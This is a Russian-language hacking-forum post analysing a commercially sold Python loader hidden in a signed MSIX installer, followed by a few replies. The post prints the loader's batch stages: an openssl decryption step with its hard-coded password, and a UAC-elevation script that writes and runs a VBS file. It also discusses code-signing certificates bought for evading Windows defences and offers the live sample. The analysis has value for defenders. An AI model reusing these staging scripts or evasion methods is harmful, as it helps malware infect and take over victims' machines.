• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Анализируем вредоносные лодеры - Afron - PythonMalware!

Barmaleus

(L2) cache
Пользователь
Регистрация
11.08.2023
Сообщения
403
Реакции
165
Гарант сделки
11
Депозит
0.0001
Автор Barmaleus
Источник https://xss.pro

Недавно подвернулась удача получить семпл лоадера за 3к зеленых давайте же посмотрим что там так дорого стоит. Сразу скажу написать решил статью потому что самому стало интересно за что там платят такие бабки и почему администрация эксплоита кроет глаза на это недоразумение, вы увидите в ветке кучу арбитражей которые отклонили по одной прочине) - Лоадер обходит смарт скрин и виндовс дефендер с хромом, облом да? Но всё же там всё так сделано что он это будет обходить до самого вирустотала или малвейр базаар, нашёл как раз семпл более старый 2023 года на том же вирустотале и будем сравнивать с 2024 годом новой версией. Сравнение к сожалению будет сугубо по хешам файлов, но всё же приступаем.

Качем файлик со всем включеным говном на нашей машине с их официального сайта, который отдаёт инфу тысячу лет, а именно около 1-3 мегабайт в секунду, иногда падает до всратых 100 килобайт, вернулись в 2000ные, даже АДСЛ формат работает быстрее их скачки в разы).

Windows defender и google chrome пропустили файлик всё закачалося, подпись оказалась валидная.
1720981819502.png

Взглянем для начала на подпись может она ультра супер дрюпер приватная? - Нет обычный сертификат, который здесь человек продаёт в среднем за 450$ min цена - 250$, max цена - xxxxx$ точную сумму сказать не могу потому, что сертификаты могут отличаться, где-то нужна обязательная проверка перед заливанием файлика для подписи, например ssl.com, где-то вам чисто дают сертификатик с ключами и электронным ключём как флешка, не бейте если не правильно назвал, копируют её образ и дают покупателю сертификатика он же в свою очередь использует с неё ключики для подписи.

Закидываем нашего беременного малвариком лоадера за 3к вечно зелёных в Detect It Easy! Видим что наш беременный малварь скорее всего тупо вида sfx архива или с простеньким скриптом инсталлятора.
1720982390072.png

Теперь посмотрим его различные параметры - энтропию, yara правила и прочую поблутень, которая должна за 3к вечно зелёненьких быть в порядке. Сразу скажу файлик не побывал на вирустотале поэтому не буду его заливать.
1720982648722.png

Можно сделать так как я(затупил вначале, если есть кнопочка значит файл не заливался на вирустотал, а если заливался, то перекинет на файлик), так же можно проверь по md5 хешу https://www.virustotal.com/gui/file/хеш/
ну или же вбить его в поиск.
1720982776150.png

Ладно мы разобрались что файлик не был не разу на вирустотале и вообще его мало юзали, потому, что на других подобных сайтах 0 следов его присутствия.

Приступаем дальше к Detect It Easy!

Просканировав сигнатуры в самом файлике msix мы видим что нашло одну штучку
1720982930324.png

Энтропия файла(да очень тупо и глупо смотреть энтропию архива ну ладно)
1720982998225.png

Выдало число 7.8 сравним с моим говно инсталлером где на вирустотале ещё до сих пор нет ёлки(msi формат).
1720983123056.png

Графики чутка разные, но всё же видим разницу, ну и разницу в энтропии типе файла и тому подобное, в моём говно инсталлере(он не идеальный, но часто будем отсылаться к нему) используется 7z поэтому на вирустотале по дефолту можно словить от ноунейм аверов ну и не толька.

Запускаем extecter в Detect It Easy! и начинается распаковка msix, можно было обычным винраром ну ладно, пропустим это.
1720983634698.png

Как видим дохера zlib файлов и прочей дичи которая должна сама себя распаковывать. Поэтому пока выбираем вариантек с винраром.
1720983710466.png

Файликов конечно много, но давайте узнаем какой основной. Скачиваем Advanced Installer чтобы не вазюкаться со всей этой чепухой по архивам.

Скачиваем Advanced Installer https://www.advancedinstaller.com/ , там скачиваем пробную версию регистрируемся после установки на временную почту и башляем дальше.

Появиться очень волшебная кнопочка которая избавит нас от тысячи и одной проблемы, в нашем случае проблема это человеческая лень.
1720983788315.png

Опа пошла распаковочка в Advanced Installer и отгадайте что мы видим, как же так лодер за 3к вечно зелёных.

1720983953938.png



Думаю этот файлик вообще каким то чудом там оказался, проверим его потом.

Заходим в Files and Folders в Advanced Installer и видим такую картинку примерно как и винраре. PythonDownloader скорее всего, и зачем то лежат sfx архивы 1 2 5 9, непонятно для чего ну ладно, посмотрим потом на них.
1720984076480.png

Переходим в манифест едитор и рассматриваем скрипт нашего инсталлера, а имена что он запускает и делает.
1720984143653.png

Парам пам пам видим тот же самый Install.exe давайте его закинем снова в детект изи и посмотрим что там нам скажет о нём, отключаем наш виндовс дефендер, который снёс файл и распаковываем этот лоадер.

Для начала в детект изи жмакаем в Files and Folders на любой .zip и видим путь куда оно скинуло файлики с msix файла.
1720984472632.png

Идём по этом пути нажимая три точки и видим все файлики, копируем их всех и идём кидать в нашу папку.
1720984560032.png

Уже перекопировав всё что можно было кидаем наш файлик который самовыпилился и который естественным образом по скрипту инсталлера является главным в этой всей чертовщине.

Про моднявый шпитон давн лоадер мы кажись выше уже отгадали по python.zip

1720984683424.png

Снова выполняем всю нашу геморойную работу с тыканием кнопок поиск сигнатур и yara правила. Нашло уже больше чем было, но всё же недостаточно.
1720984785654.png

YARA правила особо ничего нам не дали что должны были.
1720984867914.png

Энтропия ещё выше чем была, но впринципе вроде ожидаемо.
1720984930781.png


Берём хеш этого файлика и смотрим его на нашем сине белом вирус тотале.
1720985008685.png

Ну чёто не очень + видно что его сшиб даже конченный гугл c виндовс дефендром, прикрепляю рескан, дабы вы убедились что этот файл не первый день лежит на вирустотале и вообще не я его заливал.
1720985130130.png

Идём в пункт relations видим тоже чей то msix файл, неужели он не устоял перед вирустоталом? -> Спойлер да, даже недельку не пожил бедняга, если пороетесь чуточку больше найдёте и файлик аж 2023 года с похожим Install.exe.
1720985203836.png

К сожалению на нём windows defender решил отлечь, но всё же он там был.
1720985483013.png

Вирустоталовские сандбоксы вообще ничего там не когда не покажут с таким кол-вом файлов и прочей дичи поэтому смысла смотреть на их нарисованный рантайм не вижу.

Раз мы определили что этот питонский зловред скачиватель делает всё, то тогда поехали смотреть дальше что с этим добром делать, честно я питоне полный ноль, а ещё я школьник поэтому в двойне обидно.

Пойдём распаковывать эту ядрённую солянку, узнаём версию питухона для пай инсталлера. Закидываю файл в Ida Pro тыкаем одновременно клавиши шифт + ф12 и генерируем строки, видим дичь и экстракцию скрипта, но не видим версию питона, у нас есть путь, но нету цели поэтому идём напролом.

Ищем pyinstaller extractor утилиту нашёл такую https://github.com/pyinstxtractor/pyinstxtractor-ng , использовать данную софтину очень просто ./ pyinstxtractor-ng.exe file

Распаковочка судя по консольке прошла успешно поэтому потом идём смотреть папочку
1720986516878.png

1720986464937.png

Да папочка появилась с кучей файликов, думал тут будет прикол с версией говно питона когда её скрывают, а тут даже его не оказалось обидно.
1720986584780.png

Нашли дллку python3.9.dll и логически поняли какая версия питона у нас здесь.

Дальше идём смотреть что делать со всем этим добром и узнаём что pyc это, ну и для тех кто ещё выше задавался вопросом а ваш питон это чо змея такая небольшая пояснительная бригадочка.

Питон, он же Python - это такой язык программирования, который придумали, чтобы кодеры меньше страдали(после сишного сядешь блеванешь, сорян). Типа простой и понятный, как будто ты на английском болтаешь, а не какую-то кракозябру пишешь. Его можно юзать для всякой фигни: сайты делать, игрушки, анализ данных, короче, куда ни плюнь - везде этот питон, но он эта медленный, а малвари на питоне это отдельный вид приколов от школьников.
Теперь про эти файлики, которые мы нашли:
.py файлы - это обычный код на питоне. Открываешь в блокноте - и вуаля, видишь, чё там накодили.
.pyc файлы - это уже скомпилированный питоновский код. Типа машина его быстрее читает, чем наш человеческий .py. Но ты их не откроешь просто так, они для компьютера, а не для твоих глазок, нада декомпилер.
PyInstaller - это такая штука, которая берёт твой питоновский код и делает из него исполняемый файл. Типа, чтобы не париться с установкой питона на каждый комп, а просто запустить и кайфовать
Теперь про то, почему у тебя там куча файликов, а питона нет: коды скомпилированны в pyc, а зачем ж мы узнавали версию? - для того чтобы сдампить, а чем дампить будем это уже ваше решение.

Так как версия питухона здесь аж 3.9 это доставило немного геморроя с поиском декомпилера, решил использвовать следуя табличке https://pylingual.io/.
1720987326216.png

Знакомство с этим пай ин гуалем , даже видосек на трубчике есть
1720987771802.png

Напомню вам прошлый скриншотек консоли там была строчка вида
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: zip.pyc
[+] Found 96 files in PYZ archive
Так вот нам нужен энтри поинт нашего питухона, думаю .zip.py ну у первого название такое просто конченое, поэтому давайте проверять чуйку.
1720988114376.png

Прыг и видим саму программку что она делает с теми архивами, распаковывает openssl.zip, python.zip ладно давайте смотреть их.

В OpenSSL зип находилась белая судя по всему openssl.exe с сертификатом 2022 года и пустая на вирустотале, hitjackinga / sideloadinga я не заметил и поэтому переходим к тому странному архиву python.zip.

В папке с питоном ещё один питон фолдер и дальше файлики и папочки.
1720988446982.png

Файлики не подписанные, и дальше если пойти видим инсталл бат который должен запустить и admin2.zip.enc
1720988506850.png

В файле installation.bat у нас код полноценный слуедующего вида:
Bash:
@echo OFF
Title Installing...Please Wait...
openssl enc -aes-256-cbc -d -in admin2.zip.enc -out admin2.zip -pbkdf2 -pass pass:armor
tar -xf admin2.zip
ECHO Installing.....
cmd /c admin.bat
timeout 5
ECHO Installation Failed
cmd /c admin.bat
timeout 5
ECHO Installation Failed
cmd /c admin.bat
timeout 5
ECHO Installation Failed
cd %TEMP%

admin.bat который вечно там выделывается и аж 3 раза упомянут содержит в себе следующий код для подьёма UAC прав.

Bash:
@echo off

:: BatchGotAdmin
:-------------------------------------
REM  --> Check for permissions
    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    echo Installing...Please Wait..
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params= %*
    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 0 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
:--------------------------------------
start /b cmd /c python admin.py
ECHO Installing Failed...

Ну и возвращаемся к тому скрипту что над админ в нём есть команда для SSL которая расшифровывает архив и сохраняет на диск с именем admin2,zip, в нём мы видим следующие файлики.
1720988818078.png

Ну видим интересный файлек admin.py который зашифрован пай армором, если не видели он запускается у нас в admin.bat start /b cmd /c python admin.py, типа.
1720989112148.png

Пай армор я так кратко почитал что это такое и узнал что его надо дампить как луа скрипты и прочую подобную лабуду. Шифрует питон скрипт делает загрузчик для него, делая нам дополнительного геморроя ну ладно! Так как есть вторая машинка с операционной системой где этот моднявый питон уже установлен, буду работать с пай армором там.

Нашёл на гитхабе такую дичь для этого пай армора и подходит примерно для нашей версии давайте тестить https://github.com/vxnetrip/pyarmor-8-decrypt/tree/main/Windows, клонируем гитхаб репозиторий через git, и устанавливаем requirements pip install -r req.txt, потом дальше запускаем скрипт получаем айди питон процесса и дампим строки, но всё же хочется исходника поэтому идём к другому методу. Честно говоря я тут особо не силён, и решил поподробнее углубиться и посмотреть как это правильно делается, поэтому комментаторов в студию и вирусняшка есть на малвейр базаре, хеш в скринах показывал, если надо скину снизу. Как я понял еще этот инсталл.ехе у них общий на все лоадеры которые есть потому что он даже в новом билде один и тот же и у разных людей. А тот кто вскроет пай армор тот молодец. Зверечек будет под постом admin2.zip.

Сравнения адекватного мы не сделали, но поняли что структура одинаковая, про 2023г если на вт пороетесь тоже найдете про что я говорил, ссылки потерялись в любимом мозгограмме.

Вирустотал с хешем файлика -> https://www.virustotal.com/gui/file...0906b54658644de42929c661a4df0936bc0/relations

В общем думаю было интересно познавательно и вообще мне это дало незаменимый опыт наверное работы с питоном в котором я полный вафел, ну и увидели что не всё хорошее что стоит дорого. Немного прихворал, но всё же решил написать что-то новое, если нравиться такой формат тоже выскажетесь, думаю новичкам полезно учиться пользоваться такой штукой как гугол и искать всё что можно найти, юзать новый софт , которым до не пользовались и тд. Да код лодера всего не увидели конечно, но увидели что он работает в несколько этапов, цену немножко округлил в большую сторону, но суть думаю ясна и понятна, до встречи.
 
Последнее редактирование:
Круто, но я бы хотел побольше запятых…!
Держи, друг: ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.
 
Крутой лодырь на 100 с лишним метров. А мы тут за каждый байт думаем, шелкоды какие то собираем, полиморфизм сочиняем... кому это надо то? Да здравствует петухон!
 
Крутой лодырь на 100 с лишним метров. А мы тут за каждый байт думаем, шелкоды какие то собираем, полиморфизм сочиняем... кому это надо то? Да здравствует петухон!
Ты еще не видел что там в пай арморе кроется, сдампил там вообще прикол еще тот. И файл юзать на всех людей один и тот же это тоже пздц.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх